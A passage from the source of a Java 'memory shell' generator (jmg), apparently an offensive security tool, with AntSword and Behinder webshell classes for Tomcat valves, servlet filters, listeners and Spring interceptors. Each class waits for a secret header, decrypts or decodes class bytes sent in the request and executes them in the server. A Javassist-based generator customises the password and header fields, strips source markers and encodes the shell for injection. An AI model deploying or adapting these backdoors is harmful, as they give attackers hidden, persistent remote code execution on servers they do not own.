28 | super(c);
29 | }
30 |
31 | public Class g(byte[] b) {
32 | return super.defineClass(b, 0, b.length);
33 | }
34 |
35 | @Override
36 | public Valve getNext() {
37 | return this.next;
38 | }
39 |
40 | @Override
41 | public void setNext(Valve valve) {
42 | this.next = valve;
43 | }
44 |
45 | @Override
46 | public boolean isAsyncSupported() {
47 | return this.asyncSupported;
48 | }
49 |
50 | @Override
51 | public void backgroundProcess() {
52 | }
53 |
54 | @Override
55 | public void invoke(Request request, Response response) throws IOException, ServletException {
56 | try {
57 | if (request.getHeader(headerName).contains(headerValue)) {
58 | String cls = request.getParameter(pass);
59 | if (cls != null) {
60 |
61 | byte[] data = base64Decode(cls);
62 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
63 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
64 | method.setAccessible(true);
65 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
66 | clazz.newInstance().equals(new Object[]{request, response});
67 | }
68 | }else {
69 | // 重要: 没有这一步会将目标服务器打挂
70 | this.getNext().invoke(request, response);
71 | }
72 | } catch (Exception e) {
73 | this.getNext().invoke(request, response);
74 | }
75 | }
76 |
77 | public byte[] base64Decode(String str) throws Exception {
78 | try {
79 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
80 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
81 | } catch (Exception var5) {
82 | Class clazz = Class.forName("java.util.Base64");
83 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
84 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
85 | }
86 | }
87 | }
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.util;
2 |
3 | import jmg.antsword.memshell.*;
4 | import jmg.core.config.Constants;
5 |
6 | import java.util.HashMap;
7 | import java.util.Map;
8 |
9 | public class ShellUtil {
10 |
11 | private static final Map SHELL_CLASSNAME_MAP = new HashMap();
12 | private static final Map> toolMap = new HashMap();
13 |
14 | public ShellUtil() {
15 | }
16 |
17 | public static String getShellName(String toolType, String shellType) {
18 | Map shellMap = toolMap.get(toolType);
19 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
20 | }
21 |
22 | public static String getShellClassName(String shellName) throws Exception {
23 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
24 | throw new Exception("Invalid shell type '" + shellName + "'");
25 | } else {
26 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
27 | }
28 | }
29 |
30 | static {
31 | SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
32 | SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
33 | SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
34 | SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
35 | SHELL_CLASSNAME_MAP.put(AntSwordValve.class.getSimpleName(), AntSwordValve.class.getName());
36 |
37 | Map antSwordMap = new HashMap();
38 | antSwordMap.put(Constants.SHELL_FILTER, AntSwordFilter.class.getSimpleName());
39 | antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
40 | antSwordMap.put(Constants.SHELL_JAKARTA_FILTER, AntSwordJakartaFilter.class.getSimpleName());
41 | antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
42 | antSwordMap.put(Constants.SHELL_VALVE, AntSwordValve.class.getSimpleName());
43 | toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
44 | }
45 |
46 |
47 | }
48 |
--------------------------------------------------------------------------------
/jmg-behinder/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jmg
6 | java-memshell-generator
7 | 1.0.9
8 |
9 | jmg-behinder
10 |
11 |
12 |
13 |
14 | ${parent.groupId}
15 | jmg-core
16 | ${parent.version}
17 | compile
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.generator;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.CtClass;
5 | import jmg.behinder.util.ShellUtil;
6 | import jmg.core.config.AbstractConfig;
7 | import jmg.core.config.Constants;
8 | import jmg.core.generator.IShellGenerator;
9 | import jmg.core.util.CommonUtil;
10 | import jmg.core.util.JavassistUtil;
11 | import jmg.core.util.ResponseUtil;
12 |
13 | public class BehinderGenerator implements IShellGenerator {
14 |
15 | @Override
16 | public void initShell(AbstractConfig config) {
17 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
18 | }
19 |
20 | @Override
21 | public byte[] makeShell(AbstractConfig config) throws Exception {
22 | initShell(config);
23 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
24 | String shellClassName = ShellUtil.getShellClassName(shellName);
25 | byte[] bytes = modifyShell(shellClassName, config);
26 | config.setShellBytes(bytes);
27 | config.setShellBytesLength(bytes.length);
28 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
29 | return bytes;
30 | }
31 |
32 | @Override
33 | public byte[] modifyShell(String className, AbstractConfig config) {
34 | byte[] bytes = new byte[0];
35 | try {
36 | pool.insertClassPath(new ClassClassPath(BehinderGenerator.class));
37 | CtClass ctClass = pool.getCtClass(className);
38 | ctClass.getClassFile().setVersionToJava5();
39 | JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16));
40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
41 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
42 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
46 | }
47 | if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
48 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
49 | methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
50 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
51 | }
52 | JavassistUtil.removeSourceFileAttribute(ctClass);
53 | bytes = ctClass.toBytecode();
54 | ctClass.detach();
55 | } catch (Exception e) {
56 | e.printStackTrace();
57 | throw new RuntimeException(e);
58 | }
59 | return bytes;
60 | }
61 |
62 | }
63 |
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.memshell;
2 |
3 | import javax.crypto.Cipher;
4 | import javax.crypto.spec.SecretKeySpec;
5 | import javax.servlet.*;
6 | import javax.servlet.http.HttpServletRequest;
7 | import javax.servlet.http.HttpServletResponse;
8 | import javax.servlet.http.HttpSession;
9 | import java.io.IOException;
10 | import java.util.HashMap;
11 | import java.util.Map;
12 |
13 |
14 | public class BehinderFilter extends ClassLoader implements Filter {
15 | public String pass;
16 | public String headerName;
17 | public String headerValue;
18 |
19 | public Class g(byte[] b) {
20 | return super.defineClass(b, 0, b.length);
21 | }
22 |
23 | public BehinderFilter() {
24 | }
25 |
26 | public BehinderFilter(ClassLoader c) {
27 | super(c);
28 | }
29 |
30 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
31 | HttpServletRequest request = (HttpServletRequest) servletRequest;
32 | HttpServletResponse response = (HttpServletResponse) servletResponse;
33 |
34 | try {
35 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
36 | HttpSession session = ((HttpServletRequest) servletRequest).getSession();
37 | Map obj = new HashMap();
38 | obj.put("request", servletRequest);
39 | obj.put("response", response);
40 | obj.put("session", session);
41 |
42 | session.putValue("u", this.pass);
43 | Cipher c = Cipher.getInstance("AES");
44 | c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
45 | (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
46 | } else {
47 | filterChain.doFilter(servletRequest, servletResponse);
48 | }
49 | } catch (Exception e) {
50 | filterChain.doFilter(servletRequest, servletResponse);
51 | }
52 | }
53 |
54 | public byte[] doBase64Decode(String str) throws Exception {
55 | try {
56 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
57 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
58 | } catch (Exception var5) {
59 | Class clazz = Class.forName("java.util.Base64");
60 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
61 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
62 | }
63 | }
64 |
65 | public void init(FilterConfig filterConfig) throws ServletException {
66 | }
67 |
68 | public void destroy() {
69 | }
70 | }
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.memshell;
2 |
3 | import org.springframework.web.servlet.AsyncHandlerInterceptor;
4 |
5 | import javax.crypto.Cipher;
6 | import javax.crypto.spec.SecretKeySpec;
7 | import javax.servlet.http.Cookie;
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 | import javax.servlet.http.HttpSession;
11 | import java.util.HashMap;
12 | import java.util.Map;
13 | import java.util.UUID;
14 |
15 | public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
16 |
17 |
18 | public String pass;
19 |
20 | public String headerName;
21 |
22 | public String headerValue;
23 |
24 |
25 | public Class g(byte[] b) {
26 | return super.defineClass(b, 0, b.length);
27 | }
28 |
29 |
30 | public BehinderInterceptor(ClassLoader c) {
31 | super(c);
32 | }
33 |
34 |
35 | public BehinderInterceptor() {
36 | }
37 |
38 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
39 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
40 | try {
41 | HttpSession session = request.getSession();
42 | Map obj = new HashMap();
43 | obj.put("request", request);
44 | obj.put("response", response);
45 | obj.put("session", session);
46 | session.putValue("u", this.pass);
47 | Cipher c = Cipher.getInstance("AES");
48 | c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
49 | (new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj);
50 | } catch (Exception e) {
51 | }
52 | return false;
53 | } else {
54 | return true;
55 | }
56 | }
57 |
58 | public static byte[] b64Decode(String bs) throws Exception {
59 | byte[] value = null;
60 |
61 | Class base64;
62 | try {
63 | base64 = Class.forName("java.util.Base64");
64 | Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
65 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
66 | } catch (Exception var6) {
67 | try {
68 | base64 = Class.forName("sun.misc.BASE64Decoder");
69 | Object decoder = base64.newInstance();
70 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
71 | } catch (Exception var5) {
72 | }
73 | }
74 |
75 | return value;
76 | }
77 | }
78 |
79 |
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderJakartaFilter.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.memshell;
2 |
3 | import javax.crypto.Cipher;
4 | import javax.crypto.spec.SecretKeySpec;
5 | import jakarta.servlet.*;
6 | import jakarta.servlet.http.HttpServletRequest;
7 | import jakarta.servlet.http.HttpServletResponse;
8 | import jakarta.servlet.http.HttpSession;
9 | import java.io.IOException;
10 | import java.util.HashMap;
11 | import java.util.Map;
12 |
13 |
14 | public class BehinderJakartaFilter extends ClassLoader implements Filter {
15 | public String pass;
16 | public String headerName;
17 | public String headerValue;
18 |
19 | public Class g(byte[] b) {
20 | return super.defineClass(b, 0, b.length);
21 | }
22 |
23 | public BehinderJakartaFilter() {
24 | }
25 |
26 | public BehinderJakartaFilter(ClassLoader c) {
27 | super(c);
28 | }
29 |
30 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
31 | HttpServletRequest request = (HttpServletRequest) servletRequest;
32 | HttpServletResponse response = (HttpServletResponse) servletResponse;
33 |
34 | try {
35 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
36 | HttpSession session = ((HttpServletRequest) servletRequest).getSession();
37 | Map obj = new HashMap();
38 | obj.put("request", servletRequest);
39 | obj.put("response", response);
40 | obj.put("session", session);
41 |
42 | // fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
43 | // java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
44 | // session.putValue("u", this.pass);
45 | session.setAttribute("u", pass);
46 | Cipher c = Cipher.getInstance("AES");
47 | c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
48 | (new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
49 | } else {
50 | filterChain.doFilter(servletRequest, servletResponse);
51 | }
52 | } catch (Exception e) {
53 | filterChain.doFilter(servletRequest, servletResponse);
54 | }
55 | }
56 |
57 | public byte[] doBase64Decode(String str) throws Exception {
58 | try {
59 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
60 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
61 | } catch (Exception var5) {
62 | Class clazz = Class.forName("java.util.Base64");
63 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
64 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
65 | }
66 | }
67 |
68 | public void init(FilterConfig filterConfig) throws ServletException {
69 | }
70 |
71 | public void destroy() {
72 | }
73 | }
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderJakartaListener.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.memshell;
2 |
3 | import javax.crypto.Cipher;
4 | import javax.crypto.spec.SecretKeySpec;
5 | import jakarta.servlet.ServletRequestEvent;
6 | import jakarta.servlet.ServletRequestListener;
7 | import jakarta.servlet.http.HttpServletRequest;
8 | import jakarta.servlet.http.HttpServletResponse;
9 | import jakarta.servlet.http.HttpSession;
10 | import java.lang.reflect.Field;
11 | import java.util.HashMap;
12 | import java.util.Map;
13 |
14 | public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
15 | public String pass;
16 |
17 | public String headerName;
18 |
19 | public String headerValue;
20 |
21 |
22 | public BehinderJakartaListener() {
23 | }
24 |
25 | public BehinderJakartaListener(ClassLoader c) {
26 | super(c);
27 | }
28 |
29 |
30 | public Class g(byte[] b) {
31 | return super.defineClass(b, 0, b.length);
32 | }
33 |
34 |
35 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
36 | }
37 |
38 | public void requestInitialized(ServletRequestEvent servletRequestEvent) {
39 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
40 | try {
41 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
42 | HttpServletResponse response = this.getResponseFromRequest(request);
43 | HttpSession session = request.getSession();
44 | Map obj = new HashMap();
45 | obj.put("request", request);
46 | obj.put("response", response);
47 | obj.put("session", session);
48 | try {
49 | // session.putValue("u", pass);
50 | session.setAttribute("u", pass);
51 | Cipher c = Cipher.getInstance("AES");
52 | c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
53 | (new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
54 | } catch (Exception var7) {
55 | }
56 | }
57 | } catch (Exception e) {
58 |
59 | }
60 |
61 | }
62 |
63 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
64 | return null;
65 | }
66 |
67 | private static synchronized Object getFV(Object var0, String var1) throws Exception {
68 | Field var2 = null;
69 | Class var3 = var0.getClass();
70 |
71 | while (var3 != Object.class) {
72 | try {
73 | var2 = var3.getDeclaredField(var1);
74 | break;
75 | } catch (NoSuchFieldException var5) {
76 | var3 = var3.getSuperclass();
77 | }
78 | }
79 |
80 | if (var2 == null) {
81 | throw new NoSuchFieldException(var1);
82 | } else {
83 | var2.setAccessible(true);
84 | return var2.get(var0);
85 | }
86 | }
87 |
88 | public byte[] base64Decode(String str) throws Exception {
89 | try {
90 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
91 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
92 | } catch (Exception var5) {
93 | Class clazz = Class.forName("java.util.Base64");
94 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
95 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
96 | }
97 | }
98 | }
99 |
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.memshell;
2 |
3 | import javax.crypto.Cipher;
4 | import javax.crypto.spec.SecretKeySpec;
5 | import javax.servlet.ServletRequestEvent;
6 | import javax.servlet.ServletRequestListener;
7 | import javax.servlet.http.HttpServletRequest;
8 | import javax.servlet.http.HttpServletResponse;
9 | import javax.servlet.http.HttpSession;
10 | import java.lang.reflect.Field;
11 | import java.util.HashMap;
12 | import java.util.Map;
13 |
14 | public class BehinderListener extends ClassLoader implements ServletRequestListener {
15 | public String pass;
16 |
17 | public String headerName;
18 |
19 | public String headerValue;
20 |
21 |
22 | public BehinderListener() {
23 | }
24 |
25 | public BehinderListener(ClassLoader c) {
26 | super(c);
27 | }
28 |
29 |
30 | public Class g(byte[] b) {
31 | return super.defineClass(b, 0, b.length);
32 | }
33 |
34 |
35 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
36 | }
37 |
38 | public void requestInitialized(ServletRequestEvent servletRequestEvent) {
39 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
40 | try {
41 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
42 | HttpServletResponse response = this.getResponseFromRequest(request);
43 | HttpSession session = request.getSession();
44 | Map obj = new HashMap();
45 | obj.put("request", request);
46 | obj.put("response", response);
47 | obj.put("session", session);
48 | try {
49 | session.putValue("u", pass);
50 | Cipher c = Cipher.getInstance("AES");
51 | c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
52 | (new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
53 | } catch (Exception var7) {
54 | }
55 | }
56 | } catch (Exception e) {
57 |
58 | }
59 |
60 | }
61 |
62 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
63 | return null;
64 | }
65 |
66 | private static synchronized Object getFV(Object var0, String var1) throws Exception {
67 | Field var2 = null;
68 | Class var3 = var0.getClass();
69 |
70 | while (var3 != Object.class) {
71 | try {
72 | var2 = var3.getDeclaredField(var1);
73 | break;
74 | } catch (NoSuchFieldException var5) {
75 | var3 = var3.getSuperclass();
76 | }
77 | }
78 |
79 | if (var2 == null) {
80 | throw new NoSuchFieldException(var1);
81 | } else {
82 | var2.setAccessible(true);
83 | return var2.get(var0);
84 | }
85 | }
86 |
87 | public byte[] base64Decode(String str) throws Exception {
88 | try {
89 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
90 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
91 | } catch (Exception var5) {
92 | Class clazz = Class.forName("java.util.Base64");
93 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
94 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
95 | }
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderValve.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.memshell;
2 |
3 | import org.apache.catalina.Valve;
4 | import org.apache.catalina.connector.Request;
5 | import org.apache.catalina.connector.Response;
6 |
7 | import javax.crypto.Cipher;
8 | import javax.crypto.spec.SecretKeySpec;
9 | import javax.servlet.ServletException;
10 | import javax.servlet.http.HttpSession;
11 | import java.io.IOException;
12 | import java.util.HashMap;
13 | import java.util.Map;
14 |
15 |
16 | public class BehinderValve extends ClassLoader implements Valve {
17 | protected Valve next;
18 | protected boolean asyncSupported;
19 |
20 | public String pass;
21 |
22 | public String headerName;
23 |
24 | public String headerValue;
25 |
26 | public BehinderValve() {
27 | }
28 |
29 | public BehinderValve(ClassLoader c) {
30 | super(c);
31 | }
32 |
33 | public Class g(byte[] b) {
34 | return super.defineClass(b, 0, b.length);
35 | }
36 |
37 | @Override
38 | public Valve getNext() {
39 | return this.next;
40 | }
41 |
42 | @Override
43 | public void setNext(Valve valve) {
44 | this.next = valve;
45 | }
46 |
47 | @Override
48 | public boolean isAsyncSupported() {
49 | return this.asyncSupported;
50 | }
51 |
52 | @Override
53 | public void backgroundProcess() {
54 | }
55 |
56 | @Override
57 | public void invoke(Request request, Response response) throws IOException, ServletException {
58 | try {
59 | if (request.getHeader(headerName).contains(headerValue)) {
60 | HttpSession session = (request.getSession());
61 | Map obj = new HashMap();
62 | obj.put("request", request);
63 | obj.put("response", response);
64 | obj.put("session", session);
65 | session.putValue("u", pass);
66 | Cipher c = Cipher.getInstance("AES");
67 | c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
68 | (new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
69 | } else {
70 | // 重要: 没有这一步会将目标服务器打挂
71 | this.getNext().invoke(request, response);
72 | }
73 | } catch (Exception e) {
74 | this.getNext().invoke(request, response);
75 | }
76 |
77 | }
78 |
79 | public byte[] base64Decode(String str) throws Exception {
80 | try {
81 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
82 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
83 | } catch (Exception var5) {
84 | Class clazz = Class.forName("java.util.Base64");
85 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
86 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
87 | }
88 | }
89 | }
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.util;
2 |
3 | import jmg.behinder.memshell.*;
4 | import jmg.core.config.Constants;
5 |
6 | import java.util.HashMap;
7 | import java.util.Map;
8 |
9 | public class ShellUtil {
10 |
11 | private static final Map SHELL_CLASSNAME_MAP = new HashMap();
12 | private static final Map> toolMap = new HashMap();
13 |
14 | public ShellUtil() {
15 | }
16 |
17 | public static String getShellName(String toolType, String shellType) {
18 | Map shellMap = toolMap.get(toolType);
19 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
20 | }
21 |
22 | public static String getShellClassName(String shellName) throws Exception {
23 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
24 | throw new Exception("Invalid shell type '" + shellName + "'");
25 | } else {
26 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
27 | }
28 | }
29 |
30 | static {
31 | SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
32 | SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
33 | SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
34 | SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
35 | SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
36 | SHELL_CLASSNAME_MAP.put(BehinderValve.class.getSimpleName(), BehinderValve.class.getName());
37 |
38 | Map behinderMap = new HashMap();
39 | behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
40 | behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
41 | behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
42 | behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
43 | behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
44 | behinderMap.put(Constants.SHELL_VALVE, BehinderValve.class.getSimpleName());
45 |
46 | toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
47 |
48 | }
49 |
50 |
51 | }
52 |
--------------------------------------------------------------------------------
/jmg-cli/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | jmg
8 | java-memshell-generator
9 | 1.0.9
10 |
11 |
12 | jmg-cli
13 |
14 |
15 | 8
16 | 8
17 | UTF-8
18 |
19 |
20 |
21 |
22 |
23 | org.jline
24 | jline
25 | 3.21.0
26 |
27 |
28 | jmg
29 | jmg-sdk
30 | ${parent.version}
31 |
32 |
33 |
34 |
35 |
36 |
37 | org.apache.maven.plugins
38 | maven-assembly-plugin
39 | 3.6.0
40 |
41 |
42 | jar-with-dependencies
43 |
44 |
45 |
46 | jmg.cli.CLIApp
47 |
48 |
49 | false
50 | ../releases
51 |
52 |
53 |
54 | make-assembly
55 | package
56 |
57 | single
58 |
59 |
60 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/jmg-cli/src/main/java/jmg/cli/CLIApp.java:
--------------------------------------------------------------------------------
1 | package jmg.cli;
2 |
3 | public class CLIApp {
4 | public static void main(String[] args) throws Throwable {
5 | Console console = new Console();
6 | console.init();
7 | console.run();
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/jmg-core/pom.xml:
--------------------------------------------------------------------------------
1 |
3 |
4 | java-memshell-generator
5 | jmg
6 | 1.0.9
7 |
8 | 4.0.0
9 | jmg-core
10 |
11 |
12 |
13 |
14 | org.springframework
15 | spring-web
16 | 5.3.29
17 |
18 |
19 |
20 | org.springframework
21 | spring-webflux
22 | 5.3.29
23 |
24 |
25 | jakarta.servlet
26 | jakarta.servlet-api
27 | 5.0.0
28 |
29 |
30 | org.apache.tomcat
31 | tomcat-catalina
32 | 8.5.58
33 |
34 |
35 | org.apache.tomcat
36 | tomcat-api
37 |
38 |
39 | org.apache.tomcat
40 | tomcat-juli
41 |
42 |
43 | org.apache.tomcat
44 | tomcat-jni
45 |
46 |
47 | org.apache.tomcat
48 | tomcat-coyote
49 |
50 |
51 | org.apache.tomcat
52 | tomcat-util
53 |
54 |
55 | org.apache.tomcat
56 | tomcat-util-scan
57 |
58 |
59 | org.apache.tomcat
60 | tomcat-annotations-api
61 |
62 |
63 | org.apache.tomcat
64 | tomcat-el-api
65 |
66 |
67 | org.apache.tomcat
68 | tomcat-jsp-api
69 |
70 |
71 | org.apache.tomcat
72 | tomcat-servlet-api
73 |
74 |
75 | org.apache.tomcat
76 | tomcat-jaspic-api
77 |
78 |
79 |
80 |
81 |
82 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/config/Constants.java:
--------------------------------------------------------------------------------
1 | package jmg.core.config;
2 |
3 | public class Constants {
4 |
5 | public static final String JMG_VERSION = "1.0.9_250101";
6 |
7 | public static final String JMG_NAME = "java-memshell-generator";
8 | public static final String JMG_DESCRIPTION = "Java 内存马生成器";
9 |
10 | public static final String JMG_AUTHOR = "pen4uin";
11 |
12 | public static final String SERVER_TOMCAT = "Tomcat";
13 | public static final String SERVER_SPRING_MVC = "SpringMVC";
14 | public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
15 |
16 | public static final String SERVER_JETTY = "Jetty";
17 | public static final String SERVER_RESIN = "Resin";
18 | public static final String SERVER_WEBLOGIC = "WebLogic";
19 | public static final String SERVER_WEBSPHERE = "WebSphere";
20 | public static final String SERVER_UNDERTOW = "Undertow";
21 | public static final String SERVER_GLASSFISH = "GlassFish";
22 |
23 | public static final String SERVER_JBOSS = "JBoss";
24 |
25 | public static final String SERVER_TONGWEB = "Tongweb";
26 | public static final String SERVER_APUSIC = "Apusic";
27 | public static final String SERVER_INFORSUITE = "InforSuite";
28 | public static final String SERVER_BES = "BES";
29 |
30 |
31 | public static final String SHELL_LISTENER = "Listener";
32 | public static final String SHELL_FILTER = "Filter";
33 | public static final String SHELL_JAKARTA_LISTENER = "JakartaListener";
34 | public static final String SHELL_JAKARTA_FILTER = "JakartaFilter";
35 | public static final String SHELL_VALVE = "Valve";
36 | public static final String SHELL_INTERCEPTOR = "Interceptor";
